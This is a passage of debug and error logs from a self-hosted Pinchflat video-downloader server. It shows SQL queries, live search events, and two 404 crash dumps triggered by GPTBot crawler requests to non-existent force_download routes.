date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:03.281 [debug] QUERY OK source="media_items" db=2.1ms queue=0.5ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:06.353 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 23:02:06.354 [debug] Replied in 271µs 23:02:06.355 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1289.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:02:06.356 [debug] QUERY OK source="media_items" db=2.1ms idle=1289.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:02:06.357 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=1289.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:02:06.358 [debug] QUERY OK source="media_items" db=2.6ms idle=1288.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:06.360 [debug] QUERY OK source="media_items" db=3.3ms idle=287.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:06.360 [debug] QUERY OK source="media_items" db=2.8ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:02:07.126 [info] GET /sources/2/media/64/force_download 23:02:07.127 [debug] QUERY OK source="settings" db=0.2ms idle=769.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:02:07.127 [debug] QUERY OK source="settings" db=0.2ms idle=769.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:02:07.128 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:02:07.128 [error] #PID<0.5238.0> running PinchflatWeb.Endpoint (connection #PID<0.5237.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/64/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/64/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/64/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/64", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5238.0>, params: %{}, path_info: ["sources", "2", "media", "64", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/64"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/64/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiKuoCMQHg_WIAAYeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/64/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/64", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/64/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5237.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/64/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/64", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5238.0>, params: %{}, path_info: ["sources", "2", "media", "64", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:02:29.003 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:59.005 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.703 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:07.852 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "wood"} 23:03:07.852 [debug] QUERY OK source="media_items" db=0.2ms idle=1787.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:07.862 [debug] QUERY OK source="media_items" db=9.3ms queue=0.1ms idle=1788.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"wood\""] 23:03:07.864 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=1798.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"wood\"", 10, 0] 23:03:07.865 [debug] Replied in 13ms 23:03:07.935 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"q" => "wood"} 23:03:07.936 [debug] QUERY OK source="media_items" db=0.0ms idle=1744.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:07.936 [debug] QUERY OK source="media_items" db=0.2ms idle=742.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"wood\""] 23:03:07.937 [debug] QUERY OK source="media_items" db=0.4ms idle=83.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"wood\"", 10, 0] 23:03:07.937 [debug] Replied in 1ms 23:03:11.091 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "el"} 23:03:11.092 [debug] QUERY OK source="media_items" db=0.3ms idle=892.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:11.092 [debug] QUERY OK source="media_items" db=0.2ms idle=27.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"el\""] 23:03:11.093 [debug] QUERY OK source="media_items" db=0.3ms idle=28.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"el\"", 10, 0] 23:03:11.093 [debug] Replied in 1ms 23:03:11.342 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "eli"} 23:03:11.342 [debug] QUERY OK source="media_items" db=0.3ms idle=277.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:11.351 [debug] QUERY OK source="media_items" db=8.6ms idle=250.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"eli\""] 23:03:11.353 [debug] QUERY OK source="media_items" db=0.9ms idle=259.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"eli\"", 10, 0] 23:03:11.353 [debug] Replied in 11ms 23:03:12.117 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "elij"} 23:03:12.117 [debug] QUERY OK source="media_items" db=0.3ms idle=1023.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:03:12.126 [debug] QUERY OK source="media_items" db=8.7ms idle=917.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"elij\""] 23:03:12.127 [debug] QUERY OK source="media_items" db=0.7ms idle=784.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"elij\"", 10, 0] 23:03:12.127 [debug] Replied in 10ms 23:03:12.756 [info] GET /sources/1/media/69/force_download 23:03:12.756 [debug] QUERY OK source="settings" db=0.2ms idle=1403.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:03:12.757 [debug] QUERY OK source="settings" db=0.2ms idle=639.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:03:12.757 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:03:12.758 [error] #PID<0.5244.0> running PinchflatWeb.Endpoint (connection #PID<0.5243.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/69/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/69/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/69/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/69", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5244.0>, params: %{}, path_info: ["sources", "1", "media", "69", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/69"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/69/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiOjHUXD4GKioAAYmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/69/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/69", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/69/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5243.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/69/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49558}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/69", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5244.0>, params: %{}, path_info: ["sources", "1", "media", "69", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:03:13.468 [debug] HANDLE EVENT "search_term" in 